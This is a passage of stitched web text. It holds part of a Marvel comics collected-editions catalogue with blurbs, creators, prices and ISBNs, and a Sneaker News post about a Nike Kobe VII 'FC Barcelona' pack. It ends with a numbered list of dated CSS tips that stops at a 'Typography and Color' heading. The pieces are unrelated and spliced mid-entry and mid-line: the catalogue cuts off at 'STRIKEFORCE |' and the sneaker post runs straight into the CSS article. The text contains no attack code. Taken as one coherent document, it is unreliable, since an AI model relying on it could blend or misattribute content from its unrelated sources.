Ever since his transformation into Spider-Man, Peter Parker has been a bit lost. He’s still adjusting to the responsibilities brought on by his new persona: He’s not sure exactly how to make use of his extraordinary abilities, and he’s learning how to fight crime the hard way — through trial, error and pure blind luck. And if all that wasn’t stressful enough for a bookish teenager to process, the newly minted Spider-Man is forced to do battle with the Vulture — a winged jewel thief out for power, profit…and revenge! How will Spidey defeat this flying menace? Find out in this Young Readers Novel, featuring select artwork by Francesca Ciregia and Elena Casagrande!
96 PGS./All Ages …$6.99
ISBN: 978-0-7851-6476-0
MARVEL UNIVERSE SPIDER-MAN: AMAZING FANTASY DIGEST
Written by PAUL TOBIN
Penciled by MATTEO LOLLI & ROB DISALVO
Cover by ALE GARZA
It’s all-ages excitement as the Amazing Spider-Man battles his way across the Marvel Universe! When Magneto attacks Peter Parker’s class trip, Spidey must swing into action! Then, the Mandarin traps Spidey in an underground fighting tournament! And if those two big bads weren’t enough, Spidey finds himself at the mercy of M.O.D.O.K., stands against the Kingpin of Crime, marvels at the awesome abilities of the Absorbing Man and attempts to escape the deadly plot of the Puppet Master! Plus: When king of disguises the Chameleon returns, how can Spidey catch a crook who can be anyone? And Spider-Man and the Black Cat get caught up in a calamitous caper to capture Frog-Man! Collecting SPIDER-MAN (2010) #21-24.
88 PGS./All Ages …$9.99
ISBN: 978-0-7851-5259-0
OZ: OZMA OF OZ GN-TPB
Written by ERIC SHANOWER
Penciled by SKOTTIE YOUNG
Cover by SKOTTIE YOUNG
Dorothy is back, and she’s not in Kansas anymore. But she’s not in Oz, either! L. Frank Baum’s magical world comes to life once again as Dorothy Gale takes yet another unexpected trip to a mystical, faraway land. This time, Dorothy winds up in the land of Ev —where she meets new friends such as Tik-Tok the mechanical man and Billina, perhaps the cleverest chicken you’ll ever encounter. Dorothy will have to face the wicked Nome King, who’s imprisoned Ev’s royal family — but luckily has help from her Oz friends, including the Tin Woodman, the Scarecrow and the new Queen of Oz, the lovely Ozma! But can even their combined might win the day and see Dorothy back home? Find out in Marvel’s third amazing series adapting the L. Frank Baum classics! Collecting OZMA OF OZ #1-8.
200 PGS./All Ages …$19.99
ISBN: 978-0-7851-4248-5
Written by GREG PAK & FRED VAN LENTE
Penciled by BEN OLIVER & DALE EAGLESHAM
Cover by PHIL JIMENEZ
Canada’s premier super-team returns to action! The original Alpha Flight reunites to face a threat unlike any other, as the impact of FEAR ITSELF is felt in Canada! Resurrected from the dead, Guardian, Vindicator, Shaman and Marrina rejoin Sasquatch, Snowbird, Northstar and Aurora in defense of the Great White North. But the Canada they return to looks a lot different than the one they left as a new political regime rises to power and brands Alpha Flight traitors! Betrayed from within, Canada’s champions are hunted by the government as they battle to release their fellow citizens from the grip of fear and win back the True North, strong and free! Collecting ALPHA FLIGHT (2011) #0.1 and #1-4.
120 PGS./Rated T+ …$16.99
ISBN: 978-0-7851-6283-4
Written by GREG PAK & FRED VAN LENTE
Penciled by MIKE GRELL, JUNE BRIGMAN & DAVID HAHN
Cover by CARLO PAGULAYAN
When “Spider-Island” erupts, Hercules finds himself “infested” with spider-powers of his own. Can you handle…the Incredible Spider-Herc?! It’s a pulse-pounding, wall-crawling adventure as our web-slinging demigod battles the X-Men! Then: Zeus decides to move in with his wayward son after an angry Hera de-powers him. As if parental baggage wasn’t problematic enough, some powerful enemies are gunning for Herc. A team-up with the assassin Elektra could give him the help he needs — as long as his dad doesn’t muck it up. Collecting HERC #6.1 and #7-10.
120 PGS./Rated T+ …$16.99
ISBN: 978-0-7851-4723-7
MOON KNIGHT BY BRIAN MICHAEL BENDIS & ALEX MALEEV VOL. 1 TPB
Written by BRIAN MICHAEL BENDIS
Penciled by ALEX MALEEV
Cover by ALEX MALEEV
Captain America. Wolverine. Spider-Man. There’s not a more powerful set of heroes you’d want to have your back than this trio of Avengers. The problem is, the guys who have Moon Knight’s back are all in his head — symptoms of Marc Spector’s schizophrenia. But as Spector tries to find balance in his new home of Los Angeles, a criminal mastermind makes deadly maneuvers — trafficking the temporarily inert robot body of Ultron. Can Moon Knight get his act together in time to take on this deadly threat? Or will it take another personality on the scene — Maya Lopez, the former Avenger Echo — to tip the odds in Moon Knight’s favor? Collecting MOON KNIGHT (2011) #1-7.
176 PGS./Rated T+ …$19.99
ISBN: 978-0-7851-5170-8
DAREDEVIL BY ED BRUBAKER & MICHAEL LARK ULTIMATE COLLECTION BOOK 2 TP
Written by ED BRUBAKER
Penciled by MICHAEL LARK, LEE WEEKS, LEE BERMEJO, GENE COLAN, MARKO DJURDJEVIC, ALEX MALEEV, JOHN ROMITA, BILL SIENKIEWICZ & PAUL AZACETA
Cover by MARKO DJURDJEVIC
Critically acclaimed, award-winning creators Ed Brubaker and Michael Lark continue their explosive run! Everything Matt Murdock thought he’d gotten back teeters on the edge of a precipice, ready to shatter all around him, as he fights a battle on both fronts of his life — in the courtroom and on the rooftops of Hell’s Kitchen! And with the post-CIVIL WAR fallout all around him, the price of being Daredevil just got even higher. Nominated for three Eisner Awards: Best Continuing Series, Best Writer and Best Penciler-Inker Team! Collecting DAREDEVIL (1998) #94-105.
304 PGS./Rated T+ …$29.99
ISBN: 978-0-7851-6335-0
MAGNETO: NOT A HERO TPB
Written by SKOTTIE YOUNG
Penciled by CLAY MANN
Cover by CLAY MANN
The X-Men are shaken when Magneto finally goes villain again. The Master of Magnetism is caught on video murdering members of an anti-mutant group. Then, fresh from that brutal and public crime, Magneto forms a new Brotherhood of Evil Mutants — and the membership will shock you! Why has Magneto thrown away everything he’s earned with the X-Men? Or is this just the only time he’s gotten caught? Or — is something even stranger going on? Skottie Young (WIZARD OF OZ) and Clay Mann (X-MEN LEGACY) will change the way you look at the best X-villain of all time! Collecting MAGNETO: NOT A HERO #1-4.
96 PGS./Parental Advisory …$14.99
ISBN: 978-0-7851-5860-8
GENERATION HOPE: THE END
Written by JAMES ASMUS
Penciled by IBRAIM ROBERSON, TIMOTHY GREEN III & TAKESHI MIYAZAWA
Cover by IBRAIM ROBERSON
Meet the newest member of Generation Hope: Sebastian Shaw?! When Hope and company investigate an unaccounted-for mutant reading in Pakistan, they come across a full-grown mutant with no memory being used as a weapon. They see a mutant in trouble and help — not realizing they’re rescuing one of the X-Men’s deadliest foes! Plus: Generation Hope clashes with a gang of mutant villains living on Utopia, and romance blossoms between Marvel’s most unlikely couple! Then, as Zero reveals his true colors, a battle breaks out on Utopia as the lights rebel against their leader! What will be the final fate of Generation Hope? Collecting GENERATION HOPE #13-17.
120 PGS./Rated T …$15.99
ISBN: 978-0-7851-5244-6
ASTONISHING X-MEN VOL. 7: MONSTROUS TPB
Written by DANIEL WAY
Penciled by JASON PEARSON, SARA PICHELLI, NICK BRADSHAW & JACK KIRBY
Cover by MICHAEL WILLIAM KALUTA
What do you get when you cross an island full of giant monsters, a telepathic terrorist and a jet full of mad-as-hell mutants? Monstrous action! Mentallo has the perfect plan: take mental control of the denizens of Monster Island and use them to extort his old employers at Roxxon. But when his monsters attack Tokyo at the same time the X-Men are in town helping one of their own cope with a family tragedy, the mutant heroes are drawn into the conflict. Can Wolverine, Cyclops, Emma Frost and Armor take on an entire island of giant monsters? Sharpen your claws, and get ready for a battle of the ages! Collecting ASTONISHING X-MEN (2004) #36, #37, #39 and #41, and material from STRANGE TALES (1951) #89.
112 PGS./Rated T+ …$16.99
ISBN: 978-0-7851-5115-9
SPIDER-MAN: BIG TIME ULTIMATE COLLECTION TPB
Written by DAN SLOTT, FRED VAN LENTE & CHRISTOS GAGE
Penciled by HUMBERTO RAMOS, STEFANO CASELLI, MARCOS MARTIN, NUNO PLATI,
TY TEMPLETON, JAVIER PULIDO, MIKE MCKONE & REILLY BROWN
Cover by MARCOS MARTIN
Peter Parker has finally hit the Big Time. He’s a full-fledged Avenger, he just landed a high-paying science job, and he has an amazing new girlfriend. But big-time living means big-time pressure! When the Hobgoblin returns, Spidey will need a slick new edge to defeat him. And when the Scorpion targets J. Jonah Jameson and his loved ones, Spider-Man must grapple with matters of life and death in a moving and compelling tale. Then, Spidey is asked to join the FF, adding even greater responsibilites to his already overfull plate. Will all his new commitments prove too much to handle? Plus: A new and strangely familiar Venom makes his debut! Collecting AMAZING SPIDER-MAN (1963) #648-662 & 654.1.
528 PGS./Rated T+ …$39.99
ISBN: 978-0-7851-6217-9
THE MIGHTY THOR BY MATT FRACTION VOL. 1 TPB
Written by MATT FRACTION
Penciled by OLIVIER COIPEL & KHOI PHAM
Cover by OLIVIER COIPEL
What is the Worldheart? Plucked by Thor and his companions from the deepest roots of Yggdrasil — the World Tree, split in twain — the cosmic seed is now the most coveted object in Odin’s possession. But the Silver Surfer — herald of Galactus, devourer of worlds — recognizes the Worldheart as the one object that could forever sate his master’s apocalyptic appetite. Now, the Surfer has come to Asgard to claim a prize Odin will not surrender without a fight — and Thor is caught in the middle. Will he entrust the Worldheart to the Surfer for the betterment of the universe, or choose instead to fight to the death for the glory of Odin? Collecting MIGHTY THOR #1-6.
144 PGS./Rated T+ …$19.99
ISBN: 978-0-7851-5624-6
UNCANNY X-FORCE VOL. 3: THE DARK ANGEL SAGA BOOK 1 TPB
Written by RICK REMENDER
Penciled by BILLY TAN, RICH ELSON, MARK BROOKS & SCOT EATON
Cover by ESAD RIBIC
It’s the Age of Archangel! X-Force has returned from the twisted Age of Apocalypse with the Celestial Life Seed, their only hope to prevent their friend Angel from transforming into the monstrous Archangel. But X-Force is too late: Archangel has become the heir to Apocalypse and stands poised to succeed where his dead master failed. All life on Earth is forfeit unless X-Force can stop Archangel — by destroying him. But can a team of hardened killers assassinate one of their own? Can Psylocke kill the man she loves? And even if X-Force is willing to cross that line, has Archangel become too powerful to stop? Collecting UNCANNY X-FORCE #8-13.
144 PGS./Parental Advisory …$19.99
ISBN: 978-0-7851-4661-2
WOLVERINE & BLACK CAT: CLAWS 2 TPB
Written by JIMMY PALMIOTTI, JUSTIN GRAY, JOSEPH MICHAEL LINSNER & EVA HOPKINS
Penciled by JOSEPH MICHAEL LINSNER
Cover by JOSEPH MICHAEL LINSNER
Collecting WOLVERINE & BLACK CAT: CLAWS 2 #1-3 and KILLRAVEN (2001) #1.
112 PGS./Parental Advisory …$14.99
ISBN: 978-0-7851-5186-9
MARVEL UNIVERSE VS. WOLVERINE TPB
Written by JONATHAN MABERRY
Penciled by LAURENCE CAMPBELL
Cover by MICHAEL WILLIAM KALUTA
Collecting MARVEL UNIVERSE VS. WOLVERINE #1-4.
112 PGS./Parental Advisory …$14.99
ISBN: 978-0-7851-5653-6
VILLAINS FOR HIRE: KNIGHT TAKES KING TPB
Written by DAN ABNETT & ANDY LANNING
Penciled by RENATO ARLEM
Cover by PATRICK ZIRCHER
All-new, all-evil team! If the story starts with bionic detective Misty Knight uniting heroes Black Panther, Paladin and Silver Sable to halt a heist, why does she then cross the line and hire those she once fought — including psychopaths like Tiger Shark and Speed Demon? Because the Purple Man is out to build a criminal empire with an army including Avalanche, Shocker and the new Scourge! Enter a world of treachery, double-crosses and death when you hear: “Hello, villain…are you for hire?” Collecting VILLAINS FOR HIRE #0.1 and #1-4.
120 PGS./Rated T+ …$14.99
ISBN: 978-0-7851-6044-1
ULTIMATE COMICS SPIDER-MAN: DEATH OF SPIDER-MAN FALLOUT TPB
Written by BRIAN MICHAEL BENDIS
Penciled by MARK BAGLEY, GABRIEL HARDMAN, BRYAN HITCH, LEE GARBETT, STEVE KURTH, ERIC NGUYEN, CARLO PAGULAYAN, SARA PICHELLI, SALVADOR LARROCA, CLAYTON CRAIN, LUKE ROSS, BILLY TAN & MITCH BREITWEISER
Cover by MARK BAGLEY
Spider-Man is dead. Long live Spider-Man. Peter Parker has been struck down, felled by a bullet and his archnemesis the Green Goblin. But though the teenage web-slinger is gone, his memory lives on. Check in with Thor, Captain America, Iron Man, Nick Fury and more as they mourn the loss of one of their world’s finest heroes. For better or for worse, the Ultimate Universe must come to grips with its new reality — which includes new Spider-Man Miles Morales. Join fan-favorite writers Brian Michael Bendis, Jonathan Hickman and Nick Spencer as they explore the lives of all your favorite characters — along with a once-in-a-lifetime artistic lineup that includes Mark Bagley, Bryan Hitch, Eric Nguyen, Sara Pichelli, Salvador Larroca, Clayton Crain, Billy Tan and more. Collecting ULTIMATE COMICS FALLOUT #1-6.
136 PGS./Rated T+ …$19.99
ISBN: 978-0-7851-5913-1
DEADPOOL MAX: INVOLUNTARY ARMAGEDDON TPB
Written by DAVID LAPHAM
Penciled by KYLE BAKER & SHAWN CRYSTAL
Cover by KYLE BAKER
Crazy is as crazy does! Wade Wilson ditches his job as the government super-assassin known as Deadpool to spend the rest of his life making sweet, sweet love to his blushing bride, Domino. Or is it Inez? Or Honey Moon? Or Luau Luau, the Hawaiian spirit of vengeance? Take your freakin’ pick, because things spiral straight down the tubes when she goes on a murdering spree that threatens to destroy Deadpool’s newly formed nuclear family. And Deadpool’s handler Bob gets back to work as the two take on machine-gun-wielding hookers and their own twisted histories, using teamwork and good old-fashioned American ingenuity. And guns. And swords. Marvel as two broken men attempt to take down the worldwide terrorist network Hydra in a story so shocking it could only be told by MAX! Collecting DEADPOOL MAX (2010) #7-12.
144 PGS./Explicit Content …$19.99
ISBN: 978-0-7851-4853-1
DEADPOOL VOL. 9: INSTITUTIONALIZED TPB
Written by DANIEL WAY
Penciled by CARLO BARBERI
Cover by DAVE JOHNSON
After a vicious run-in with the Hulk put his healing factor to the test, Deadpool wakes up to find himself incarcerated in a prison for the criminally insane. Placed in the special care of Dr. Ella Whitby, Deadpool uses his special “charms” to hammer his way to the top of the inmate hierarchy and seduce the plug-ugly psychotherapist to help him escape. But when Whitby’s treatment starts to take effect on Deadpool’s scarred psyche, the Merc with a Mouth runs the risk of actually being cured! Will Deadpool finally find some semblance of sanity? Can he escape prison without the help of the voices in his head? Collecting DEADPOOL (2008) #40-44.
112 PGS./Parental Advisory …$15.99
ISBN: 978-0-7851-5892-9
HALO: FALL OF REACH — COVENANT TPB
Written by BRIAN REED
Penciled by FELIX RUIZ
Cover by HUMBERTO RAMOS
Continuing the adaptation of Eric Nylund’s novel Halo: The Fall of Reach, based on the international videogame sensation! After creating more than 800 colonies, the United Nations Space Command has encountered the Covenant — an alien race bent on obliterating humanity. The burnt cinder that used to be the peaceful farming world Harvest and its millions of dead colonists serve as testimony to the Covenant’s intentions. But if Dr. Catherine Halsey can equip the UNSC’s super-soldiers, the Spartans, in her new MJOLNIR armor, humanity just might stand a fighting chance against the aliens’ seemingly unstoppable campaign. But as the Master Chief and his fellow Spartans take the battle to the Covenant on Sigma Octanus IV, what deep, dark secret will hold the key to humanity’s future? Collecting HALO: FALL OF REACH — COVENANT #1-4.
112 PGS./17 & Up …$16.99
ISBN: 978-0-7851-5149-4
© 2012 Microsoft Corporation. All rights reserved. Microsoft, 343 Industries, the 343 Industries Logo, Halo, the Halo logo, Xbox, Xbox 360, and the Xbox logos are trademarks of the Microsoft group of companies.
THE STAND VOL. 3: SOUL SURVIVORS TPB
Written by ROBERTO AGUIRRE-SACASA
Penciled by MIKE PERKINS
Cover by LEE BERMEJO
Three bands of weary survivors regroup in an American nightmare — all sharing the desperation of survival in a world bereft of hope and the deadening desolation of the soul that comes with it. But when the hard work of living to see another day is done, there come the dreams: persistent dreams of an old, guitar-playing black woman on a front porch in Nebraska, offering the promise of hope. But Mother Abagail shares the dreamscape with nightmare visions of the Dark Man, Randall Flagg — he of the soulless crows, the feral animals and the creeping death of world’s end. As these two battle in the hearts, minds and dreams of the last standing, who will be the “soul survivor?” Marvel’s adaptation of celebrated author Stephen King’s popular apocalyptic novel continues! Collecting THE STAND: SOUL SURVIVORS #1-5.
136 PGS./Parental AdvisorySLC …$19.99
ISBN: 978-0-7851-3523-4
Published by arrangement with The Doubleday Broadway Publishing Group, a division of Random House, Inc. This graphic novel is produced under license from The Doubleday Broadway Publishing Group and Stephen King. TM & © 2010 Marvel Characters, Inc. All rights reserved.
MARVEL FIRSTS: THE 1970s VOL. 3 TPB
Written by MARV WOLFMAN, TONY ISABELLA, JOHN WARNER, STEVE GERBER, STEVE ENGLEHART, MARY SKRENES, JACK KIRBY, GERRY CONWAY, ARCHIE GOODWIN, ROY THOMAS, DOUG MOENCH & STAN LEE
Penciled by STEVE GAN, DON HECK, MIKE VOSBURG, AL MILGROM, GEORGE TUSKA, BOB MCLEOD, JIM MOONEY, JACK KIRBY, JOHN BUSCEMA, JOE SINNOTT, JIM CRAIG, RON WILSON & CHIC STONE
Cover by VARIOUS
Marvel’s popular line of fantastic first appearances continues! The sensational seventies come to a phenomenal finish with this third volume featuring aliens, space gods, giants, dinosaurs and more! Included here are the fabulous first issues of such seventies stalwarts as Skull the Slayer, Omega the Unknown, the Champions, the Eternals, Devil Dinosaur and others! Collecting SKULL THE SLAYER #1, CHAMPIONS #1, MARVEL PRESENTS #1 and #3, BLACK GOLIATH #1, material from MARVEL PREVIEW #4, OMEGA THE UNKNOWN (1976) #1, ETERNALS (1976) #1, NOVA (1976) #1, MS. MARVEL (1977) #1, MARVEL SPOTLIGHT (1971) #32, WHAT IF? (1977) #1, MARVEL PREMIERE #35, DEVIL DINOSAUR #1, MACHINE MAN (1978) #1, material from HULK MAGAZINE (1978) #11, and SAVAGE SHE-HULK (1980) #1.
376 PGS./Rated T+ …$29.99
ISBN: 978-0-7851-6382-4
STRIKEFORCE: MORITURI VOL. 3 TPB
Written by JAMES D. HUDNALL
Penciled by MARK BAGLEY
Cover by MARK BAGLEY
The war against the Horde is over, and mankind is victorious — so what do the Morituri do now? As the Earth heals from its lengthy occupation, the surviving Strikeforce members must come to terms with their own looming mortality, even as new and deadly dangers arise on the post-war planet — including a group of Morituri-empowered assassins targeting the Prime Minister, and a secret conspiracy threatening to sunder Earth’s united government. And what is the sinister hidden agenda of the alien VXX199? The epic sci-fi sensation of the ’80s concludes here! Collecting STRIKEFORCE |
Kobe VII “FC Barcelona”
0.00 / 5 0 VOTES This post contains references to products from one or more of our advertisers. We may receive compensation when you click on links to those products. The opinions and information provided on this site are original editorial content of Sneaker News.
If you thought that the “What the Kobe” would be a grand finale of sorts for the wild Kobe VII colorways, we’re happy to report that there’s some more Black Mamba heat on the way this summer. Here’s an exclusive first look at the Nike Zoom Kobe VII ‘FCB’ Pack – a duet of Kobe VII colorways inspired by two of Spanish soccer club, FC Barcelona’s kits. While Barcelona is best recognized for its bold-striped blue and red, the club’s got a plethora of other representative colors in its past like the Yellow/Blue and Aqua Blue/Orange (remember Kobe wore these last month), which can be seen both as primary colors as well as accent pieces on its more recent threads. Both Zoom Kobe VII ‘FC Barcelona’ releases featured the FCB crest emblazoned on the inner face of the tongue as well.
Kobe Bryant’s love for international football sprouted from his childhood roots in Italy, but it was Ronaldinho, one of the sports’ biggest stars, that got Kobe to root for Barcelona and become enamored with the club’s rich history and storied success. Much like last year’s Kobe VI Barcelona releases, the Nike Zoom Kobe VII ‘Barcelona’ duo will be a Euro-exclusive at select Nike and House of Hoops retailers, with this year’s version arriving across the pond on July 21st. Stay locked in on Sneaker News for more pics of the Zoom Kobe VII “Barcelona” Pack coming soon and if you’ve got some Euro-connections, it’s time to make those calls.You can never have too much of a good thing–and two good things we rely on in our work are tips and tricks. Nuggets of information, presented clearly and succinctly, help us build solutions and learn best practices. In a previous article, we shared a jam-packed list of 250 quick web design tips. It seems only right to continue the trend by showcasing 100 fresh–and hopefully useful–CSS tips and tricks.
General
Not everything in this list was easy to categorize. All of the tips that are relevant and worthy of mention but don’t cleanly fit into a category are listed in this section.
Conditional comments have been a godsend for resolving Internet Explorer inconsistencies.
1 It’s critical when working with CSS to be aware of the various properties at your disposal and how to use them correctly.
2 Using a good editor can increase productivity. Syntax highlighting and auto-complete functionality (plus validation and code references) make life easy. Check out Notepad++, Coda, and don’t discount Dreamweaver CS’s code view until you try it.
3 In many ways, experimentation is the mother of innovation. Give yourself time to play; trial and error will help you learn and memorize techniques quickly. Check out these CSS3 experiments, for inspiration: How to Create Inset Typography with CSS3, Semantic CSS3 Lightboxes, and 10 Interesting CSS3 Experiments and Demos.
4 Enable Gzip compression server-side whenever possible; it shrinks the size of files such as CSS and JavaScript without removing any of the content.
5Caching will conserve bandwidth for visitors and account for much faster speeds. Take advantage of it whenever you can. Learn about optimizing browser caching.
6 Whitespace is important for CSS readability. Using whitespace to format your stylesheet adds bytes to the file size, but it’s made up for in increased readability.
7 Avoid using inline code (in either elements using the style attribute or in the HTML document within <style> tags), and put them instead in your external stylesheets. It’ll be easier to maintain and also takes advantage of browser caching.
8 Whatever method you use to lay code out, be consistent. You’ll avoid potential problems such as misinterpretation.
9Conditional comments can help you target versions of Internet Explorer for style. Filtering vendor-specific code isn’t ideal, and comments are safer than ugly hacks.
10 This tip is slightly controversial, but I recommend using a single stylesheet rather than multiple ones. It reduces the number of HTTP requests and improves maintainability, giving your site a performance gain. This is a tip supported by Google Page Speed guidelines.
11 When there are conflicting style rules, style rules that are later down the stylesheet supersedes the ones that come before it. Thus, put mission-critical declarations at the end, where they won’t be in danger of being overridden by other styles.
12 If you encounter a bug and can’t determine its cause, disable CSS (using something like Firebug or the Web Developer add-on) or simply comment out all of the styles, and then bring selectors back one by one until the fault is replicated (and thus identified).
13 Make sure your code works in various browsers. Check it against the latest versions of the top five: Internet Explorer, Firefox, Chrome, Safari and Opera.
14 Additionally, ensure that your code will degrade gracefully when CSS is disabled in the user’s browser. To test this, either turn styles off in every browser or use a text browser such as Lynx.
15 Ensuring that your code degrades gracefully is obviously important, but many people forget that some visitors will have a dodgy browser or have styles turned off, so check that your fallbacks work.
16 Every browser has a built-in debugger. In IE and Firefox you can get to the inspector by hitting F12; for Chrome, Safari and Opera, press Ctrl + Shift + I.
17 Browser emulators can’t replace the real thing, so use a real or virtualized edition of a browser or device.
18 Did you know that PHP code can create dynamic CSS files? Here’s a tutorial on that. Just give the file a.php extension and ensure that the file declares the document header with a text/css content type.
19 Naming CSS files can be tricky. One of the best ways to approach the task is to keep file names short and descriptive, like screen.css, styles.css or print.css.
20 Any code or process you create is valuable, and recycling what you’ve produced for other projects is not a bad thing: pre-existing code is a great timesaver, and this is how JavaScript and CSS frameworks are born.
21 While comments in CSS files can assist other people who read or maintain them, avoid writing comments unless they are required. Comments consume bandwidth. Write CSS in a self-explanatory manner by organizing them intuitively and using good naming conventions.
22 If you’re struggling to remember what’s available in CSS (or even CSS3), get some cheat sheets. They’re simple and can help you get used to the syntax. Here are some excellent CSS cheat sheets: CSS Cheat Sheet (Added Bytes), CSS Shorthand Cheat Sheet (Michael Leigeber), CSS 2.1 and CSS 3 Help Cheat Sheets (PDF) (Smashing Magazine).
23 Bad code breaks more websites than anything else. Validate your code by using the free, web-based W3C CSS Validation Service to reduce potential faults.
24 Vendor-specific CSS won’t validate under the current W3C specifications (CSS2.1), but could give your design some useful enhancements. Plus, if you’d like to use some CSS3 for progressive enhancement, there’s no way around using them in some instances. For example, the -webkit-transform and -moz-transform property was used to progressively enhance these CSS3-animated cards for users using Safari, Chrome, and Mozilla Firefox.
25 Keep multiple CSS files in a single directory, with an intuitive name such as css/. If your website has hundreds of pages, maintainability and information architecture are vital.
At-rules, Selectors, Pseudo-classes, and Pseudo-elements
Targeting your code for styling is one of the primary functions of CSS. Whether you’re trying to make your code mobile-friendly, printer-friendly or just good old screen-friendly, you’ll be following certain conventions. Ensuring that styles aren’t in conflict, using CSS inheritance correctly and triggering actions in response to events (such as hovering) are all part of the CSS package. This section is dedicated to useful tips related to conventions.
With CSS3 media queries, designing for non-standard experiences has become easier.
26 Be careful when using the media attribute in your HTML declaration for an external CSS file. You might be unable to use media queries to better provide pre-cached alternative visuals.
27 If you find elements that use the same properties and values, group them together by using a comma (, ) to separate each selector. This will save you from repetition.
For example, if you have the following:
h1 { color:#000; } h2 { color:#000; }
Combine them as such:
h1, h2 { color:#000; }
28 Printer-friendly stylesheets are very important if you want to save your visitors’ ink and paper. Use the @media print at-rule, and remove anything that isn’t necessary on the printed page.
29 Accessibility also has to do with how the written word is spoken. The aural (now deprecated in CSS) and speech media queries can improve usability for screen readers.
30 Unfortunately, the handheld media query in CSS isn’t widely supported. If you want your website to work on mobile devices, don’t depend on it to serve the correct visuals to mobile devices.
31 Take the time to eliminate duplicate references and conflicts in your CSS. It will take some time, but you’ll get a more streamlined render and fewer bytes in your files.
32 When working with mouse hover events, deal with the (1) :link pseudo-class, then (2) :visited, then (3) :hover and finally (4) :active — in that order. This is necessary because of the cascade.
33 Making a website work well on Apple iOS devices is straightforward: to scale your design, just use CSS3 media queries with the appropriate min-width and max-width values. Here’s a tutorial for that.
34 Make the most of CSS inheritance by applying required styles to parent elements before applying them to the children. You could hit several birds with one stone.
35 You can apply multiple classes to an element with space separation, which is great if you want to share properties with numerous elements without overwriting other styles.
36 If you don’t want to deal with IE6’s conditional comment quirks–they require a separate CSS file–then you can use the star hack ( * html ) selector, which is clean and validates.
37 HTML tooltips are fine for plain text, but the :hover pseudo-class for CSS tooltips gives you more options for showing styled content. Check out this tutorial on how to create CSS-only tooltips.
38 Using attribute selectors, you can add icons or unique styles depending on the file type you link to in an anchor. Here’s an example with which you can add style to a PDF link: a[href$='.pdf].
39 You can also use attribute selectors to target a specific pseudo-protocol such as mailto or skype : [href^="skype:"].
40 Rendering CSS takes time, and listing selectors adds bytes. Reduce the workload of a renderer by using only the selectors you require (an id is better than many child references).
41 Not everyone will agree with this, but I recommend writing every “custom” selector down as a class (before making it an id ) to help eliminate duplicate entries.
42 When structuring your CSS file by selectors, the convention is to list elements, then classes (for common components) and finally any ids (for specific, unique styles).
43Naming conventions for selectors are important. Never use names that describe physical attributes (such as redLink ), because changing the value later could render the name inappropriate.
44 Case sensitivity relates to naming conventions. Some people use dashes (e.g. content-wrapper ) or underscores (i.e. content_wrapper ), but I highly recommend using camel case (e.g. contentWrapper ) for simplicity.
45 The universal selector ( * ) is used widely in CSS reset mechanisms to apply specific properties to everything. Avoid it if you can; it increases the rendering load.
46 With CSS3 media queries, you can easily target the orientation of a viewport with portrait or landscape mode. This way, handheld devices make the most of their display area.
47 Apple’s devices are unique in that they support a <meta name="viewport"> tag, which has stylistic value attached to it. You can use this to force the screen to zoom at a fixed rate of 100%.
48 The two CSS3 pseudo-elements, :target and :checked have great potential. They apply their designated style only to certain events and can be useful as hover event alternatives.
49 Embedding content in CSS is a unique way to give anchor links some description in printer-friendly stylesheets. Try them with the ::before or ::after pseudo-elements.
50 IDs can serve a dual purpose in CSS. They can be used to apply styling to a single element and to act as an anchoring fragment identifier to a particular point on the page.
Layout and the Box Model
When we’re not selecting elements for styling, we spend a lot of time figuring out how things should appear on the page. CSS resets and frameworks help us with consistency, but we should know how to correctly apply styles such as positioning and spacing. This cluster of useful tips relates to the aspects of CSS that fundamentally affect how the components of a website appear and are positioned.
Positioning plays a critical role in the readability of information and should not be ignored.
51 Many designs are focused on grids and the rectangular regions of the viewport. Instead, create the illusion of breaking out of the box for added effect.
52 If margin: auto; on the left and right sides isn’t getting you the central point you desire, try using left: 50%; position: absolute; and a negative margin half the width of the item.
53 Remember that the width of an item constitutes the specified width as well as the border width and any padding and margins. It’s basically a counting game!
54 Another controversial tip here: don’t use CSS resets. They are generally not needed if you take the time to code well.
55 A CSS framework such as Blueprint or YUI Grids CSS might assist you speed up development time. It’s a bit of extra code for the user to download, but it can save you time.
56 Remember that Internet Explorer 6 does not support fixed positioning. If you want a menu (or something else) to be sticky, it’ll require some hacks or hasLayout trickery.
57Whitespace in web designs is amazing; don’t forget it. Use margins and padding to give your layout and its content some breathing room. You’ll create a better user experience.
58 If one thing overcomplicates the task of scaling a design the way you want, it’s using inconsistent measurements. Standardize the way you style.
59 Different browsers have different implementations; visually impaired users may want to zoom in, for example. Give your layout a quick zoom-test in web browsers to ensure the style doesn’t break!
60 Most browsers can use box-shadow without extra HTML. IE can do the same with filter: progid:DXImageTransform.Microsoft.Shadow(color='#CCCCCC', Direction=135, Strength=5);
61 Rounded corners aren’t as difficult to make as they used to be. CSS3 lets you use the border-radius property to declare the curvature of each corner without surplus mark-up and the use of images.
62 One disadvantage of liquid layouts is that viewing on a large screen makes content spill across the viewport. Retain your desired layout and its limits by using min-width and max-width.
63 WebKit animations and transitions might work only in Safari and Chrome, but they do add a few extra unique, graceful flourishes worthy of inclusion in interactive content.
64 If you want to layer certain elements over one another, use the z-index property; the index you assign will pull an element to the front or push it behind an item with a higher value.
65 Viewport sizes aren’t a matter of resolution. Your visitors may have any number of toolbars, sidebars or window sizes (e.g. they don’t use their browsers maximized) that alter the amount of available space.
66 Removing clutter from an interface using display:none might seem like a good idea, but screen-reader users won’t be able to read the content at all.
67 Be careful with the overflow CSS property when catering to touch-screen mobile devices. The iPhone, for example, requires two fingers (not one) to scroll an overflowed region, which can be tricky.
68 Have you ever come across CSS expressions? They were Microsoft’s proprietary method of inserting DOM scripts into CSS. Don’t bother with them now; they’re totally deprecated.
69 While the CSS cursor property can be useful in certain circumstances, don’t manipulate it in such a way as to make finding the cursor on the screen more difficult.
70 Horizontal scrolling might seem like a unique way to position and style content, but most people aren’t used to it. Decide carefully when such conventions should be used.
71 Until Internet Explorer 9 is final, CSS3 will have some critical compatibility issues. Don’t rely too heavily on it for stable layouts. Use progressive enhancement concepts.
72 CSS makes it possible to provide information on demand. If you can give people information in small chunks, they’ll be more likely to read it.
73 When showcasing a menu in CSS, be consistent in implementation. People want to know about the relationship between objects, and it’s important to avoid dissonance.
74 CSS isn’t a solution to all of your layout woes–it’s a tool to aid your visual journey. Whatever you produce should be usable and logically designed for users (not search engines).
75 Once your layout is marked up with CSS, get feedback on how usable it really is; ask friends, family, co-workers, visitors or strangers for their opinions.
Typography and Color
